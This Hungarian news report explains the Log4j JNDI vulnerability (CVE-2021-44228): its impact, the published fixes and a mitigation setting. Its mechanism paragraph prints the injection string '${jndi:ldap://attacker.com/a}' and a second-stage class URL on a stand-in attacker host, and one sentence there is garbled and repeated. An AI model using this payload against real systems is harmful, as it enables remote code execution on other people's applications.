Az Apache Log4j, egy népszerű keretrendszer, amely a Java-alkalmazások naplózását segíti elő, kritikus sebezhetőséget tartalmaz, amely lehetővé teszi tetszőleges kód végrehajtását, ha a naplóba egy speciálisan formázott "{jndi:URL}" értéket írnak. A támadás Java-alkalmazások ellen irányul, amelyek naplózzák a külső forrásokból származó értékeket, például a problémás értékek hibaüzenetekben való megjelenítésekor.
Megjegyzésre került, hogy a probléma szinte minden olyan projektnél előfordul, amely az Apache Struts, Apache Solr, Apache Druid vagy Apache Flink keretrendszereket használja, beleértve a Steamet, az Apple iCloudot, a Minecraft játék klienseit és szervereit. Várható, hogy a sebezhetőség tömeges támadások hullámát indítja el a vállalati alkalmazások ellen, megismételve az Apache Struts keretrendszerben tapasztalt kritikus sebezhetőségek történetét, amely körülbelül 65%-ban érinti a Fortune 100-as listán szereplő vállalatok webalkalmazásait. Már megfigyeltek behatolási kísérleteket is sebezhető rendszerek felderítése céljából.
A probléma súlyosbodik azzal, hogy már közzétették a működő exploitot, de a stabil ágon jelenleg még nem érkeztek javítások. A CVE-azonosítót még nem rendelték hozzá. A javítást csak a log4j-2.15.0-rc1 tesztágban helyezték el. A sebezhetőség blokkolásának alternatív módszereként ajánlott a log4j2.formatMsgNoLookups paramétert true értékre állítani.
A probléma abból adódik, hogy a log4j támogatja a "{}" speciális mintázatok feldolgozását a naplózott szövegekben, amelyekben JNDI (Java Naming and Directory Interface) lekérdezések hajthatók végre. A támadás lényege, hogy egy beszúrásos karakterláncot, például "${jndi:ldap://attacker.com/a}" ad át, amelynek feldolgozásakor a log4j LDAP-lekérdezést küld a Java-osztály útvonaláról. szerver attacker.com LDAP-kérést küld a Java-osztály útvonaláról. A visszakapott szerverrel támadó által megadott útvonal (például http://second-stage.attacker.com/Exploit.class) betöltődik és végrehajtódik a jelenlegi folyamat kontextusában, ami lehetővé teszi a támadó számára, hogy tetszőleges kódot hajtson végre a rendszeren, az aktuális alkalmazás jogainak birtokában.
Kiegészítés 1: A sebezhetőséghez CVE-2021-44228 azonosítót rendeltek.
Kiegészítés 2: Felfedezték a log4j-2.15.0-rc1 kiadásával hozzáadott védelem megkerülésének módját. Új frissítést ajánlottak, a log4j-2.15.0-rc2-t, amely teljesebb védelmet nyújt a sebezhetőséggel szemben. A kódban kiemelték a változást, amely az érvénytelen formátumú JNDI URL használatakor nem okoz leállást.
Forrás: opennet.ru
